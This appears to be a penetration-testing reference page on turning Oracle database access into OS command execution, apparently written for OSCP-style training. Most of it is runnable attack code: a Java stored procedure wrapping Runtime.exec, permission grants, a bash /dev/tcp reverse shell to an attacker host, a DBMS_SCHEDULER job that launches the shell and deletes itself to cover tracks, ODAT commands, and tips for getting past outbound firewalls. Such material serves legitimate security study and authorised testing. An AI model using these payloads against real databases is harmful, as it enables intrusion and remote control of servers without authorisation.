# Oracle OS Command Execution

- **URL:** https://hackindex.io/services/oracle/exploitation/oracle-os-command-execution
- **Path:** Oracle > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/oracle/exploitation.md)
- **Published:** 2026-03-30
- **Updated:** 2026-03-30

Oracle database access with DBA or EXECUTE ANY PROCEDURE privileges enables OS command execution through Java stored procedures or DBMS_SCHEDULER jobs. The commands execute as the Oracle process user: typically `oracle` on Linux or the Windows service account. Confirm DBA privileges from [SQL execution](https://hackindex.io/services/oracle/exploitation/oracle-sql-execution-and-file-access) before attempting these techniques.

The `oracle` OS user often has broad filesystem access and may belong to the `dba` group. On Linux, check `/etc/passwd` and `/etc/group` after getting a shell to understand what the account can reach. On Windows, the service account may have `SeImpersonatePrivilege`, which opens a path to SYSTEM via potato exploits. Use Java stored procedures when Java is available. Fall back to DBMS_SCHEDULER when Java is not present.

- Check Java Support
- OS Command Execution via Java Stored Procedure
- Get a Reverse Shell via Java
- OS Command Execution via DBMS_SCHEDULER
- ODAT for Automated OS Shell

## Check Java Support

Java stored procedures require Java to be loaded in the database: available in most Oracle Enterprise installations:

`TRUE` means Java is installed and the stored procedure method will work. `FALSE` or no rows returned means Java is absent. Standard Edition databases often ship without Java. In that case, skip to the DBMS_SCHEDULER section. On Enterprise systems, a DBA may have explicitly disabled Java with the `java_enabled` parameter. Confirm with `SHOW PARAMETER java_enabled` if the query returns unexpected results.

```bash
sqlplus -L "$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL)))" <<EOF
SELECT value FROM v\$option WHERE parameter='Java';
EXIT;
EOF
# VALUE
# -------
# TRUE
```

## OS Command Execution via Java Stored Procedure

Create a Java class that wraps Runtime.exec(), then wrap it in a PL/SQL function:

The first query creates and compiles the Java class inside the database. `Java created.` confirms successful compilation. An `ORA-29535` error means the source has a syntax problem. An `ORA-01031` error means the account lacks the CREATE PROCEDURE privilege, which should not happen under DBA.

The second block creates the PL/SQL wrapper, grants Java IO and runtime permissions, then calls `id`. The `DBMS_JAVA.GRANT_PERMISSION` calls are required. Without them, the Java class will compile but throw a security exception at runtime. The output shows the OS-level identity of the Oracle process. `uid=1001(oracle)` confirms code execution as the database service account. From here, read files, write payloads, or pivot to a reverse shell.

```bash
sqlplus -L "$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL)))" <<'EOF'
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "OsCmd" AS
import java.io.*;
public class OsCmd {
  public static String execCmd(String command) throws Exception {
    Runtime rt = Runtime.getRuntime();
    String[] commands = new String[]{"/bin/bash","-c",command};
    Process proc = rt.exec(commands);
    BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
    String s = "", result = "";
    while ((s = stdInput.readLine()) != null) { result += s + "\n"; }
    return result;
  }
}
/
EOF
# Java created.
```

```bash
sqlplus -L "$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL)))" <<'EOF'
CREATE OR REPLACE FUNCTION os_cmd(p_cmd VARCHAR2) RETURN VARCHAR2
AS LANGUAGE JAVA
NAME 'OsCmd.execCmd(java.lang.String) return java.lang.String';
/
EXEC DBMS_JAVA.GRANT_PERMISSION(USER,'SYS:java.io.FilePermission','<<ALL FILES>>','execute');
EXEC DBMS_JAVA.GRANT_PERMISSION(USER,'SYS:java.lang.RuntimePermission','*','*');
SELECT os_cmd('id') FROM dual;
EXIT;
EOF
# OS_CMD('ID')
# -------------------------------
# uid=1001(oracle) gid=1001(oracle) groups=1001(oracle)
```

## Get a Reverse Shell via Java

Start the listener on your machine first. Then trigger the shell through the `os_cmd` function. The sqlplus session will hang after issuing the command. That is expected. The shell arrives on your netcat listener. The `/dev/tcp` redirect requires bash. If the target runs a different default shell, replace the payload with a Python or Perl reverse shell one-liner. On Windows targets, use a PowerShell reverse shell or a compiled payload instead of the bash redirect.

```bash
nc -lvnp $LPORT
```

```bash
sqlplus -L "$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL)))" <<EOF
SELECT os_cmd('bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"') FROM dual;
EXIT;
EOF
```

## OS Command Execution via DBMS_SCHEDULER

DBMS_SCHEDULER can run external OS scripts and programs directly. Useful as an alternative when Java is unavailable:

The job type `EXECUTABLE` runs a binary on the OS directly. The arguments pass `-c` and the shell payload to bash. `ENABLE` activates the job, `RUN_JOB` triggers immediate execution, and `DROP_JOB` removes the artifact after the job fires. The sqlplus session hangs while the reverse shell payload runs. When the connection arrives, the job has already been dropped. If the job fails silently, query `DBA_SCHEDULER_JOB_LOG` for error details. On Oracle 12c and later, using `CREATE_JOB` with type `EXECUTABLE` requires the `CREATE EXTERNAL JOB` privilege in addition to basic scheduler access.

```bash
sqlplus -L "$USER/$PASSWORD@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=$TARGET_IP)(PORT=1521))(CONNECT_DATA=(SID=ORCL)))" <<EOF
BEGIN
  DBMS_SCHEDULER.CREATE_JOB(
    job_name        => 'SHELL_JOB',
    job_type        => 'EXECUTABLE',
    job_action      => '/bin/bash',
    number_of_arguments => 2,
    enabled         => FALSE
  );
  DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('SHELL_JOB', 1, '-c');
  DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('SHELL_JOB', 2, 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1');
  DBMS_SCHEDULER.ENABLE('SHELL_JOB');
  DBMS_SCHEDULER.RUN_JOB('SHELL_JOB');
  DBMS_SCHEDULER.DROP_JOB('SHELL_JOB');
END;
/
EXIT;
EOF
```

## ODAT for Automated OS Shell

ODAT's externaltable and dbmsscheduler modules automate OS command execution:

ODAT wraps the same DBMS_SCHEDULER approach into a single command. The `dbmsscheduler` module handles job creation, execution, and cleanup automatically. Use the `externaltable` module as an alternative: it reads OS command output via Oracle external table preprocessing, which can bypass restrictions on the scheduler approach. Test both modules if one fails. Successful output appears directly in the terminal without needing a separate listener.

> [!CAUTION]
> ODAT exploitation modules are not permitted on OSCP. Use the manual Java stored procedure method above for exam environments.

```bash
odat dbmsscheduler -s $TARGET_IP -p 1521 -d ORCL -U $USER -P $PASSWORD --exec 'id'
```

If neither Java nor DBMS_SCHEDULER produces a shell, check whether outbound TCP from the Oracle host is blocked by a firewall. Use a blind execution test first: run `ping -c 1 $LHOST` via `os_cmd` and watch for ICMP on your machine with `tcpdump`. If ping arrives but no shell does, the target blocks outbound TCP on your chosen port. Try port 443 or 80 instead.

## References

- [ODAT](https://github.com/quentinhardy/odat) - dbmsscheduler and Java stored procedure exploitation modules
- [Oracle: DBMS_SCHEDULER](https://docs.oracle.com/en/database/oracle/oracle-database/19/arpls/DBMS_SCHEDULER.html) - External job execution reference
